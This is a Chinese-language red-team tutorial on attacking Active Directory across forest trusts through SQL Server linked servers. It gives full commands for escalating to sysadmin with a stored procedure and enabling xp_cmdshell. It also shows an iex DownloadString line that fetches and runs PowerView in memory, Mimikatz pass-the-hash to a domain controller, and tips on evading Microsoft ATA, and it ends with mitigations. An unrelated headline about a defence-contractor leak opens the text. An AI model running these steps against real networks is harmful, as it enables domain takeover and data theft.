本文讲的是
美国国防部承包商使用亚马逊服务器,一不小心泄露了机密文件,
最近,我开始把玩从
NetSPI
看到的一个很不错的工具——
PowerUpSQL
。这使我对使用
SQL Server
的访问来攻击
Active Directory
(
AD
)环境的能力非常感兴趣,也就是说,尽可能不要离开数据库层来实施攻击。幸运的是,在几周前的一次红军交战中,我有机会广泛的使用了
PowerUpSQL
。结果证明,在数据库层中,不仅可以枚举和攻击
双向外部信任
中的当前域,而且还可以攻击域中信任的林。现在,让我们来看看吧!
网络拓扑图
我将客户端网络以更小的规模映射到我的实验室中。我们可以访问具有public权限的SQL Server ——ops-sqlsrvone,并且只能与defensiveps.com林上的所选定的计算机进行通信。
跨域林枚举
可以使用PowerUpSQL中非常有趣的模糊方法来枚举的当前域内的帐户。在我们的实验室设置中,我们知道有一个叫做defensiveps的域林与offensiveps
之间的信任关系(我们可以在这种环境中使用PowerView,netdom或Get-ADTrust)。但是PowerUpSQL不提供一种指定备用域来枚举帐户的方法。我们可以在代码中更改单个变量的值就可以使用备用域了。
现在,我们就可以从位于不同林中的目标域中枚举有趣的信息。 修改$Domain变量的值后,导入PowerUpSQL模块并运行以下命令:
PS C:> Get-SQLFuzzDomainAccount -Instance ops-sqlsrvone -StartId 500 -EndId 5000
很好!我们列出了目标域的用户,组,计算机等信息。
上面列举的枚举信息有助于在defensiveps域中列出所有的SQL Server。现在,模拟评估过程中遇到的网络,目前可以直接访问dps-sqlsrvdev,几个DC和一些终端服务器。所以,我们列举一下dps-sqlsrvdev:
数据库登录信息
PS C:> Get-SQLFuzzServerLogin -Instance dps-sqlsrvdev
请注意,我们当前的用户被列在上面的登录列表中,这就是为什么可以枚举到上述内容。我们来检查我们现有的特权
PS C:> Get-SQLServerInfo -Instance dps-sqlsrvdev
没有sysadmin权限。我们可以手动检查一下(我正在使用HeidiSQL作为客户端):
我们可以选择进行暴力破解攻击,因为有一些有趣的SQL Server登录信息,通常,SQL Server数据库中没有启用帐户锁定,没有人会真正看到SQL Server中的身份验证失败的日志,至少在非生产服务器中。但我们现在不会这样做。
链接服务器
我们还可以列举dps-sqlsrvdev的链接服务器。我们开始做吧:
PS C:> Get-SQLServerLink -Instance dps-sqlsrvdev
很好!在我们先前列举的defensiveps域中发现一个链接服务器,dps-sqlsrvtwo,
注意defensiveps域与当前数据库是有关联的。另外,请注意,即使我们在初始服务器和目标服务器上仅具有在链接中配置的权限——public权限,我们也可以在链接的数据库上运行任意SQL查询。阅读更多关于SQL Server链接黑客技术在Antti的博客找到。链接枚举也可以手动完成:
select * from master..sysservers
所以,dps-sqlsrvdev已经链接到了一个服务器——dps-sqlsrvtwo。
现在,要在目标服务器(dps-sqlsrvtwo)上执行查询,我们可以在上面的那个博客中Antti所建议使用的Openquery。让我们看看我们当前的用户,如果我们有sysadmin权限的话:
select * from openquery("dps-sqlsrvtwo",'select @@version')
select * from openquery("dps-sqlsrvtwo",'select SUSER_NAME()')
select * from openquery("dps-sqlsrvtwo",'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery("dps-sqlsrvtwo",'select IS_SRVROLEMEMBER(''public'')')
事实证明,我们只有一个拥有public权限,名为dbuser的用户,目标服务器是SQL Server 2016 SP1。
现在,我们可以尝试使用PowerUpSQL的各种方法来在SQL Server上进行权限提升。问题是我们无法直接访问dps-sqlsrvtwo和AFAIK,没有办法使用该工具在链接服务器上执行这些命令。所以,我们需要一个一个地手动尝试这些方法。在红军渗透评估期间,我发现一个可以在链接服务器上模拟的用户。所以,我们也在我们的实验室设置中使用它。要列出我们当前用户可以模拟的所有用户,可以使用以下SQL查询列出,该查询语句是直接从Scott的博客中复制的。我们将在Openquery中使用查询,以便可以在链接的服务器上执行:
select * from openquery("dps-sqlsrvtwo",'SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''')
看来我们可以模拟一个名为“reportsuser”的用户。但下面的命令很可能会失败:
select * from openquery("dps-sqlsrvtwo",'EXECUTE AS LOGIN = ''reportsuser'';select IS_SRVROLEMEMBER(''sysadmin'')')
为什么?因为,显然,我们的权限没有恢复到原来的'dbuser'时我们不可能使用EXECUTE AS。我也尝试WITH NO REVERT选项,但我很快意识到,它可能只有在直接发送查询到数据库时才有效。请参阅MSDN上的EXECUTE AS文档。
没有好运气!那么我们来看看另一个有趣的特权提升方法—— 可信赖的数据库。阅读这篇再次由Scott发表的非常有用的博文,了解更多关于可信赖的数据库。我们可以使用以上查询 ——从上述博客中获取——来枚举目标链接服务器上的可信赖数据库:
select * from openquery("dps-sqlsrvtwo",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')
发现一个可信赖的数据库“reports_db”!让我们列出在服务器上拥有db_owner角色的用户:
select * from openquery("dps-sqlsrvtwo",'SELECT members.name as ''members_name'', roles.name as ''roles_name'' FROM sys.database_role_members rolemem INNER JOIN sys.database_principals roles ON rolemem.role_principal_id = roles.principal_id INNER JOIN sys.database_principals members ON rolemem.member_principal_id = members.principal_id where roles.name = ''db_owner'' ORDER BY members.name')
现在,我们来看看我们当前的用户dbuser是否是链接服务器上的reports_db的db_owner。为了检查角色,我们尝试在reports_db数据库中创建一个可以帮助我们进行特权提升的存储过程。请注意,创建存储过程必须为已链接的服务器启用RPC Out(默认情况下未启用),但在链接服务器的情况下被启用,这是非常常见的。这个想法是创建一个作为'sa'用户的OWNER执行的存储过程。使用下面的查询来创建链接数据库上的存储过程。
EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''dbuser'',''sysadmin''') AT "DPS-SQLSRVTWO"
我们的存储过程会使dbuser成为sysadmin。现在,我们来执行存储过程。
EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "DPS-SQLSRVTWO"
很好!现在我们可以访问目标服务器上的所有数据库和表。PowerUpSQL提供了非常有用的命令来列举数据库(这是我在评估中首先用来捕获一些数据的手法),但是我们不会使用它们。有关这方面的详细信息,请参阅此博文。
在许多情况下,这是红军评估的主要目标之一,停留在数据库层,我们可以访问多个跨越受信任域林的SQL Server以及一点儿存储在其中的多余信息。由于我们至今没有做任何非常不寻常或有噪音的事情,因此被蓝军检测到的机会非常低。事实上,在我的实验室中,我已经建立了微软高级威胁分析(ATA),并没有发现我的攻击行为。显然,因为我们没有与域控制器通信,ATA仅查看分析DC流量。现在干掉那个ATA!
既然在链接的服务器上启用了RPC Out,并且我们具有sysadmin权限,那么可以启用xp_cmdshell并实现OS命令执行!请注意,如果链接的服务器上已经启用了xp_cmdshell,那么在使用Openquery时,我们可以在RPC Out没有启用的情况下执行操作系统命令!使用下面的方式启用xp_cmdshell
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "dps-sqlsrvtwo"
让我们看看数据库进程的权限:
权限很大!看起来SQL Server进程正在运行一个域用户(sqlprodadmin)的权限。我们现在可以从dps-sqlsrvtwo中的正常域用户权限中寻找DA令牌。让我们用强大的PowerView进行DA令牌搜索。请记住,我们无法直接访问我们的链接服务器dps-sqlsrvtwo,并且我们没有在dps-sqlsrvdev上执行命令。要在dps-sqlsrvtwo上加载PowerView,我们可以使用PowerShell单线程在内存中下载并执行它。
iex (New-Object Net.WebClient).DownloadString('http://yourwebserver/PowerView.ps1')
单行代码需要编码,以便URL不会弄乱SQL查询的语法。另外,确保PowerView被修改了一部分,包括对脚本本身的函数的调用以及接收输出函数调用必须被管道传输到Out-Host。
我们来执行编码命令:
真棒!看起来在dps-srvjump服务器上有一个可用的DA令牌,我们当前的用户有本地的管理员权限。让我们使用Invoke-Mimikatz从dps-srvjump转储DA——Administrator的NTLM哈希值。
最后,让我们用Invoke-Mimikatz以及抓取到的哈希在defensiveps
域控上运行一个命令。可以使我们在offensiveps域林中的机器直接访问defensiveps域的 DC。
PS C:> Invoke-Mimikatz -Command '"sekurlsa::pth user:Administrator /domain:defensiveps.com /ntlm:ntlmhash /run:powershell.exe"
Bingo!在目标域林中的可以访问DA!
我们从一个非域管理员用户开始,并且在只停留在数据库层的同时,将其运行到多个SQL Server。我们还在一个信任的域林中拥有了域管理员/企业管理员!
缓解措施
SQL Server级别
有多个常见的缓解措施,如限制链接数据库,而不是在链接的服务器上启用RPC Out,将有所帮助。而且,限制权限的分配,甚至公共登录,这种方式也将有所帮助。我们稍后遇到的数据库是使用了域用户的权限运行。这是灾难性的做法,因为它在域级别上开启了许多特权提升的机会!记得始终需要限制数据库进程运行的权限。
域林层面
可以做出许多改进。在域管理员可以登录的机器中允许本地管理员登录是非常非常危险的,并且会导致灾难性的情况,如上所述。如果有一个需要DAs特权的机器,那就不应该有其他的管理帐号。如果有人正在寻找这样的信息,日志还会告诉你有关域林中成功的DA认证信息。此外,选择性身份验证可以有助于提升域林信任关系。
关于ATA的说明
我在所有的攻击都发生了的实验室中安装了Microsoft ATA。因为ATA是实验室机器上的新的“保安”,所以我们来讨论一下。ATA通过端口镜像查看流向DC的流量来检测异常情况。如果我们可以将自己限制在没有或与DC直接相关的最小的攻击和技术的情况下,就可以避免ATA的检测,并且仍然可以访问最有趣的机器和信息。ATA在Red Teamer /攻击者获得DA权限方面蓬勃发展。DA并不总是一个需要使用黄金票证/万能钥匙/证书重放攻击来实现评估的目标,除非你在你的报告中要吹嘘,当然也有绕过ATA的办法,不过当你可以避免它检测的时候为什么还要去绕过它呢。
原文发布时间为:2017年6月1日
本文作者:小二郎
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。